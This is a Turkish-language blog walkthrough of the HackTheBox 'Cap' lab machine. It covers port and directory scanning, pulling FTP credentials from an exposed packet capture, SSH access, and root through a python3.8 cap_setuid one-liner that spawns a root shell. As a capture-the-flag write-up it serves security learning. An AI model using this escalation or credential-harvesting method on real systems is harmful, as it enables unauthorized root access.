İçeriğe geç

Cap

Makine Adı Seviye OS Logo
Cap - HTB Kolay Linux

Walkthrough

nmap taraması:

PORT   STATE SERVICE VERSION                                                                                                                                                                                                                  
21/tcp open  ftp     vsftpd 3.0.3                                                                                                                                                                                                             
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)                                                                                                                                                             
| ssh-hostkey:                                                                                                                                                                                                                                
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)                                                                                                                                                                                
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)                                                                                                                                                                               
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)                                                                                                                                                                             
80/tcp open  http    gunicorn

80'e gittiğimde basit bir internet sayfası vardı. Arkaplanda belirli komutlar çalıştrarak çıktılarını kullanıcıya gösteriyordu. Çıktıların ajax call'lar ile gidebileceğini düşünüp burp ile trafiği analiz ettim ancak bir şey bulamadım. Daha sonrasında dizin taraması yaptım ancak ilginl bir şey çıkmadı.

──(root💀kali)-[~]
└─# gobuster dir  --expanded --follow-redirect --url http://10.10.10.245/ --no-error -t 50 --extensions php,txt,html --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --timeout 40s
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.245/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Expanded:                true
[+] Timeout:                 40s
===============================================================
2021/09/30 17:32:56 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.10.245/data                 (Status: 200) [Size: 19386]
http://10.10.10.245/ip                   (Status: 200) [Size: 17376]
http://10.10.10.245/netstat              (Status: 200) [Size: 41264]
http://10.10.10.245/capture              (Status: 200) [Size: 19386]

/capture sayfasına gittiğmde beni /data/1 /data/2 /data/3 gibi sayfalara yönlendiriyordu ve aslında yapmış olduğum isteklerin tcp dumplarını elde ettiğim pcap dosyaları görüyordum. Ancak önemli bir bilgi çıkaramadım. Bunun üzerine /data kısmına dosya ve dizin taraması yapmaya devam ettim.

┌──(root💀kali)-[~]
└─# gobuster dir  --expanded --follow-redirect --url http://10.10.10.245/data/ --no-error -t 50 --wordlist sayi --exclude-length 19386
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.245/data/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                sayi
[+] Negative Status codes:   404
[+] Exclude Length:          19386
[+] User Agent:              gobuster/3.1.0
[+] Follow Redirect:         true
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/09/30 18:07:53 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.10.245/data/1                    (Status: 200) [Size: 17144]
http://10.10.10.245/data/3                    (Status: 200) [Size: 17144]
http://10.10.10.245/data/2                    (Status: 200) [Size: 17144]
http://10.10.10.245/data/0                    (Status: 200) [Size: 17147]

===============================================================
2021/09/30 18:09:35 Finished
===============================================================

/data/0 ilk defa gördüğüm bir alandı ve statik bir dosya olduğunu gördüm. Bu dosyayı wireshark ile incelediğimde içinde ftp credential'ı olduğunu gördüm. Daha sonrasında bu credential ile ssh bağlantısı kurdum ve ilk flagi okudum.

┌──(root💀kali)-[~]                                                                                                    
└─# ssh [email protected]                                
[email protected]'s password:                                                                                        
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com                                                                                                                                                                                                    
 * Management:     https://landscape.canonical.com         
 * Support:        https://ubuntu.com/advantage 

 System information disabled due to load higher than 2.0

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation    

63 updates can be applied immediately.                     
42 of these updates are standard security updates.                                                                                                                                                                                            
To see these additional updates run: apt list --upgradable                                                                                                                                                                                    

The list of available updates is more than a week old.     
To check for new updates run: sudo apt update              

Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ alias ls="ls -al"                            
nathan@cap:~$ ls                                                                                                       
total 28                                                   
drwxr-xr-x 3 nathan nathan 4096 May 27 09:16 .             
drwxr-xr-x 3 root   root   4096 May 23 19:17 ..                                                                        
lrwxrwxrwx 1 root   root      9 May 15 21:40 .bash_history -> /dev/null                                                
-rw-r--r-- 1 nathan nathan  220 Feb 25  2020 .bash_logout                                                              
-rw-r--r-- 1 nathan nathan 3771 Feb 25  2020 .bashrc
drwx------ 2 nathan nathan 4096 May 23 19:17 .cache
-rw-r--r-- 1 nathan nathan  807 Feb 25  2020 .profile
lrwxrwxrwx 1 root   root      9 May 27 09:16 .viminfo -> /dev/null
-r-------- 1 nathan nathan   33 Sep 30 22:02 user.txt                                                                  
nathan@cap:~$ cat user.txt                                 
a858********************         

Daha sonrasında içeriye linPeas attım ve inceleme yapmaya devam ettim. Aşağıdaki ilgi çekici sonucu buldum.

╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities
Current capabilities:
Current: =
CapInh:   0000000000000000
CapPrm:   0000000000000000
CapEff:   0000000000000000
CapBnd:   0000003fffffffff
CapAmb:   0000000000000000

Shell capabilities:
0x0000000000000000=
CapInh:   0000000000000000
CapPrm:   0000000000000000
CapEff:   0000000000000000
CapBnd:   0000003fffffffff
CapAmb:   0000000000000000

Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#capabilities sayfasında nasıl exploit edebileceğimiz açıklanmış. Ben de direkt olarak exploit ettim.

nathan@cap:/tmp$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash");'                              
root@cap:/tmp# cd /root                                                                                                                                                                                                                       
root@cap:/root# ls                                                                                                                                                                                                                            
root.txt  snap                                                                                                                                                                                                                                
root@cap:/root# cat root.txt                                                                                           
be696caaa**************** 

Bu benim için önemli bir maline çünkü henüz retired olmamış bir makineydi Bu yüzden flaglari yıldızlı koydum.

Kategori:Walkthrough

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir